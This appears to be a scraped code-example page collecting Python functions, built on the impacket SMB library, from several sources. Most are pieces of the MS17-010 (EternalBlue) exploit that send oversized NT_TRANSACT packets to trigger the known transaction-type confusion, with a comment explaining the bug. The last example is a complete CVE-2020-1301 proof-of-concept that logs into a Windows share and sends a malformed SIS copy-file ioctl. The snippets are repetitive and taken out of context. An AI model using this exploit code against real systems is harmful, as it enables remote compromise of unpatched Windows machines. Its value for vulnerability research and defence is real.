Exemple #1
0
    def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
        pkt = smb.NewSMBPacket()
        pkt['Tid'] = tid

        command = pack('<H', setup)

        transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
        transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
        transCommand['Parameters']['MaxSetupCount'] = 1
        transCommand['Parameters']['MaxParameterCount'] = len(param)
        transCommand['Parameters']['MaxDataCount'] = 0
        transCommand['Data'] = smb.SMBTransaction2_Data()
        transCommand['Parameters']['Setup'] = command
        transCommand['Parameters']['TotalParameterCount'] = len(param)
        transCommand['Parameters']['TotalDataCount'] = len(data)

        fixedOffset = 32 + 3 + 38 + len(command)
        if len(param) > 0:
            padLen = (4 - fixedOffset % 4) % 4
            padBytes = '\xFF' * padLen
            transCommand['Data']['Pad1'] = padBytes
        else:
            transCommand['Data']['Pad1'] = ''
            padLen = 0

        transCommand['Parameters']['ParameterCount'] = len(param)
        transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

        if len(data) > 0:
            pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
            transCommand['Data']['Pad2'] = '\xFF' * pad2Len
        else:
            transCommand['Data']['Pad2'] = ''
            pad2Len = 0

        transCommand['Parameters']['DataCount'] = firstDataFragmentSize
        transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

        transCommand['Data']['Trans_Parameters'] = param
        transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
        pkt.addCommand(transCommand)

        conn.sendSMB(pkt)
        conn.recvSMB()  # must be success

        i = firstDataFragmentSize
        while i < len(data):
            sendSize = min(4096, len(data) - i)
            if len(data) - i <= 4096:
                if not sendLastChunk:
                    break
            send_trans2_second(conn, tid, data[i:i + sendSize], i)
            i += sendSize

        if sendLastChunk:
            conn.recvSMB()
        return i
Exemple #2
0
def SendNtTrans(conn, tid, functionID, maxSetupCount, setup, maxDataCount,
                totalDataCount, data, maxParamCount, totalParamCount, param):
    smb_packet = smb.NewSMBPacket()
    smb_packet['Tid'] = tid

    #    setup depends on NT_TRANSACT subcommands so it may be 0.
    setup_bytes = struct.pack('<H', setup) if setup != '' else ''

    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
    transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
    transCommand['Parameters']['Setup'] = setup_bytes
    transCommand['Parameters']['Function'] = functionID

    transCommand['Parameters']['TotalParameterCount'] = totalParamCount
    transCommand['Parameters']['TotalDataCount'] = totalDataCount

    transCommand['Parameters']['MaxParameterCount'] = maxParamCount
    transCommand['Parameters']['MaxDataCount'] = maxDataCount
    transCommand['Parameters']['MaxSetupCount'] = maxSetupCount

    transCommand['Data'] = smb.SMBNTTransaction_Data()

    # SMB header size + SMB_COM_NT_TRANSACT parameters size + length of setup bytes.
    offset = 32 + 3 + 38 + len(setup_bytes)
    transCommand['Data']['Pad1'] = ''
    if offset % 4 != 0:
        transCommand['Data']['Pad1'] = '\0' * (4 - offset % 4)
        offset += (4 - offset % 4)  # pad1 length

    if len(param) > 0:
        transCommand['Parameters']['ParameterOffset'] = offset
    else:
        transCommand['Parameters']['ParameterOffset'] = 0

    offset += len(param)

    transCommand['Data']['Pad2'] = ''
    if offset % 4 != 0:
        transCommand['Data']['Pad2'] = '\0' * (4 - offset % 4)
        offset += (4 - offset % 4)

    if len(data) > 0:
        transCommand['Parameters']['DataOffset'] = offset
    else:
        transCommand['Parameters']['DataOffset'] = 0

    transCommand['Parameters']['DataCount'] = len(data)
    transCommand['Parameters']['ParameterCount'] = len(param)
    transCommand['Data']['NT_Trans_Parameters'] = param
    transCommand['Data']['NT_Trans_Data'] = data

    smb_packet.addCommand(transCommand)

    conn.sendSMB(smb_packet)
Exemple #3
0
def send_nt_trans(tid, setup, data, param, firstDataCnt):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('<H', setup)

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else:
		transCommand['Data']['Pad1'] = ''
		padLen = 0

	transCommand['Parameters']['ParameterCount'] = len(param)
	transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

	if len(data) > 0:
		pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = firstDataCnt
	transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

	transCommand['Data']['Trans_Parameters'] = param
	transCommand['Data']['Trans_Data'] = data[:firstDataCnt]
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	
	i = firstDataCnt
	while i < len(data):
		sendSize = min(4096, len(data) - i)
		send_trans2_second(tid, data[i:i+sendSize], i)
		i += sendSize
	
	conn.recvSMB()
Exemple #4
0
 def create_nt_trans_packet(self,
                            function,
                            setup='',
                            param='',
                            data='',
                            mid=None,
                            maxSetupCount=None,
                            totalParameterCount=None,
                            totalDataCount=None,
                            maxParameterCount=None,
                            maxDataCount=None,
                            pid=None,
                            tid=None,
                            noPad=False):
     if maxSetupCount is None:
         maxSetupCount = len(setup)
     if totalParameterCount is None:
         totalParameterCount = len(param)
     if totalDataCount is None:
         totalDataCount = len(data)
     if maxParameterCount is None:
         maxParameterCount = totalParameterCount
     if maxDataCount is None:
         maxDataCount = totalDataCount
     transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
     transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
     transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
     transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
     transCmd['Parameters']['TotalDataCount'] = totalDataCount
     transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
     transCmd['Parameters']['MaxDataCount'] = maxDataCount
     transCmd['Parameters']['ParameterCount'] = len(param)
     transCmd['Parameters']['DataCount'] = len(data)
     transCmd['Parameters']['Function'] = function
     transCmd['Parameters']['Setup'] = setup
     _put_trans_data(transCmd, param, data, noPad)
     return self.create_smb_packet(transCmd, mid, pid, tid)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    command = pack('<H', setup)

    # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
    transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
    transCommand['Parameters']['MaxSetupCount'] = 1
    transCommand['Parameters']['MaxParameterCount'] = len(param)
    transCommand['Parameters']['MaxDataCount'] = 0
    transCommand['Data'] = smb.SMBTransaction2_Data()

    transCommand['Parameters']['Setup'] = command
    transCommand['Parameters']['TotalParameterCount'] = len(param)
    transCommand['Parameters']['TotalDataCount'] = len(data)

    fixedOffset = 32+3+38 + len(command)
    if len(param) > 0:
        padLen = (4 - fixedOffset % 4 ) % 4
        padBytes = '\xFF' * padLen
        transCommand['Data']['Pad1'] = padBytes
    else:
        transCommand['Data']['Pad1'] = ''
        padLen = 0

    transCommand['Parameters']['ParameterCount'] = len(param)
    transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

    if len(data) > 0:
        pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
        transCommand['Data']['Pad2'] = '\xFF' * pad2Len
    else:
        transCommand['Data']['Pad2'] = ''
        pad2Len = 0

    transCommand['Parameters']['DataCount'] = firstDataFragmentSize
    transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

    transCommand['Data']['Trans_Parameters'] = param
    transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB() # must be success
    if recvPkt.getNTStatus() == 0:
        module.log('got good NT Trans response')
    else:
        module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
        sys.exit(1)

    # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
    i = firstDataFragmentSize
    while i < len(data):
        sendSize = min(4096, len(data) - i)
        if len(data) - i <= 4096:
            if not sendLastChunk:
                break
        send_trans2_second(conn, tid, data[i:i+sendSize], i)
        i += sendSize

    if sendLastChunk:
        conn.recvSMB()
    return i
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
	# Here is another bug in MS17-010.
	# To call transaction subcommand, normally a client need to use correct SMB commands as documented in
	#   https://msdn.microsoft.com/en-us/library/ee441514.aspx
	# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client 
	#   can use *_SECONDARY command to send transaction message. When sending a transaction completely with
	#   *_SECONDARY command, a server uses the last command that complete the transaction.
	# For example:
	# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
	# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
	#
	# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
	# For example:
	# - a client start transaction with SMB_COM_NT_TRANSACT command
	# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
	# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
	# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
	
	# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction 
	#   with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
	# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
	#   field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
	# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
	
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('<H', setup)
	
	# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else:
		transCommand['Data']['Pad1'] = ''
		padLen = 0

	transCommand['Parameters']['ParameterCount'] = len(param)
	transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

	if len(data) > 0:
		pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = firstDataFragmentSize
	transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

	transCommand['Data']['Trans_Parameters'] = param
	transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	conn.recvSMB() # must be success
	
	# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
	i = firstDataFragmentSize
	while i < len(data):
		# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
		sendSize = min(4096, len(data) - i)
		if len(data) - i <= 4096:
			if not sendLastChunk:
				break
		send_trans2_second(conn, tid, data[i:i+sendSize], i)
		i += sendSize
	
	if sendLastChunk:
		conn.recvSMB()
	return i
Exemple #7
0
def main(argv):
    try:
        opts, args = getopt.getopt(argv, "ht:u:p:",
                                   ["target=", "username="******"password="******"127.0.0.1"
    username = ""
    password = ""

    for opt, arg in opts:
        if opt == '-h':
            print './CVE-2020-1301.py -t <target> -u <username> -p <password>'
            sys.exit()
        elif opt in ("-t", "--target"):
            target_ip = arg
        elif opt in ("-u", "--user"):
            username = arg
        elif opt in ("-p", "--password"):
            password = arg
    '''
    IOCTL Code: 0x090100 is FSCTL_SIS_COPYFILE
    '''
    s = smb.SMB('*SMBSERVER', target_ip)
    s.login(username, password, '')
    tid = s.tree_connect_andx(r"\\*SMBSERVER\C")
    print "tid = %d" % tid

    fName = 'Windows\\system.ini'
    fid = s.open_andx(tid, fName, smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
    print "fid = %d" % fid

    try:
        s2 = smb.NewSMBPacket()

        cmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
        cmd['Parameters'] = smb.SMBNTTransaction_Parameters()
        cmd['Data'] = smb.SMBNTTransaction_Data()

        IoctlCode = 0x90100
        setup = smb.pack('<L', IoctlCode)
        setup += smb.pack('<H', fid)
        setup += 'a' * 2
        name = ''
        param = ''

        size = 10
        data = smb.pack('<L', size)  # SourceFileNameLength
        data += smb.pack('<L', 1)  # DestinationFileNameLength
        data += smb.pack('<L', 0x00000002)  # Flags
        data += '\x00' * (size - 1)  # SourceFileName (variable)
        data += '\x00'  # DestinationFileName (variable)
        data += '\x00\x00'
        data += '\x41' * 16
        data += '\x42' * 16
        data += '\x43' * 16
        data += '\x44' * 16
        data += 'Exploit me! ;-)'

        cmd['Parameters']['MaxSetupCount'] = 0x55
        cmd['Parameters']['TotalParameterCount'] = len(param)
        cmd['Parameters']['TotalDataCount'] = len(data)
        cmd['Parameters']['MaxParameterCount'] = 0x55
        cmd['Parameters']['MaxDataCount'] = 0x55
        cmd['Parameters']['ParameterCount'] = len(param)
        cmd['Parameters']['ParameterOffset'] = 0x20 + 0x03 + 0x1c + len(
            setup) + len(name)
        cmd['Parameters']['DataCount'] = len(data)
        cmd['Parameters']['DataOffset'] = 0x20 + 0x03 + 0x26 + len(
            setup) + len(name) + len(param)
        cmd['Parameters']['Function'] = 0x0002
        cmd['Parameters']['Setup'] = setup

        cmd['Data']['Pad1'] = ''
        cmd['Data']['NT_Trans_Parameters'] = param
        cmd['Data']['Pad2'] = ''
        cmd['Data']['NT_Trans_Data'] = data

        s2.addCommand(cmd)
        s2['Tid'] = tid
        smb.SMB.sendSMB(s, s2)
    except smb.SessionError, e:
        print e
    def send_big_transfer(connection,
                          tid,
                          setup,
                          data,
                          params,
                          first_fragment,
                          send_last=True):
        packet = smb.NewSMBPacket()
        packet['Tid'] = tid

        command = struct.pack('<H', setup)

        # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
        transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
        transfer_command['Parameters'] = smb.SMBNTTransaction_Parameters()
        transfer_command['Parameters']['MaxSetupCount'] = 1
        transfer_command['Parameters']['MaxParameterCount'] = len(params)
        transfer_command['Parameters']['MaxDataCount'] = 0
        transfer_command['Data'] = smb.SMBTransaction2_Data()
        transfer_command['Parameters']['Setup'] = command
        transfer_command['Parameters']['TotalParameterCount'] = len(params)
        transfer_command['Parameters']['TotalDataCount'] = len(data)

        fixed_offset = 32 + 3 + 38 + len(command)

        if len(params) > 0:
            pad_len = (4 - fixed_offset % 4) % 4
            pad_bytes = '\xFF' * pad_len
            transfer_command['Data']['Pad1'] = pad_bytes
        else:
            transfer_command['Data']['Pad1'] = ''
            pad_len = 0

        transfer_command['Parameters']['ParameterCount'] = len(params)
        transfer_command['Parameters'][
            'ParameterOffset'] = fixed_offset + pad_len

        if len(data) > 0:
            pad_to_len = (4 - (fixed_offset + pad_len + len(params)) % 4) % 4
            transfer_command['Data']['Pad2'] = '\xFF' * pad_to_len
        else:
            transfer_command['Data']['Pad2'] = ''
            pad_to_len = 0

        transfer_command['Parameters']['DataCount'] = first_fragment
        transfer_command['Parameters']['DataOffset'] = transfer_command['Parameters']['ParameterOffset'] + \
            len(params) + pad_to_len

        transfer_command['Data']['Trans_Parameters'] = params
        transfer_command['Data']['Trans_Data'] = data[:first_fragment]

        packet.addCommand(transfer_command)

        connection.sendSMB(packet)
        connection.recvSMB()  # must be success

        i = first_fragment
        while i < len(data):
            send_size = min(4096, len(data) - i)
            if len(data) - i <= 4096:
                if not send_last:
                    break
            send_transfer_second(connection, tid, data[i:i + send_size], i)
            i += send_size

        if send_last:
            connection.recvSMB()
        return i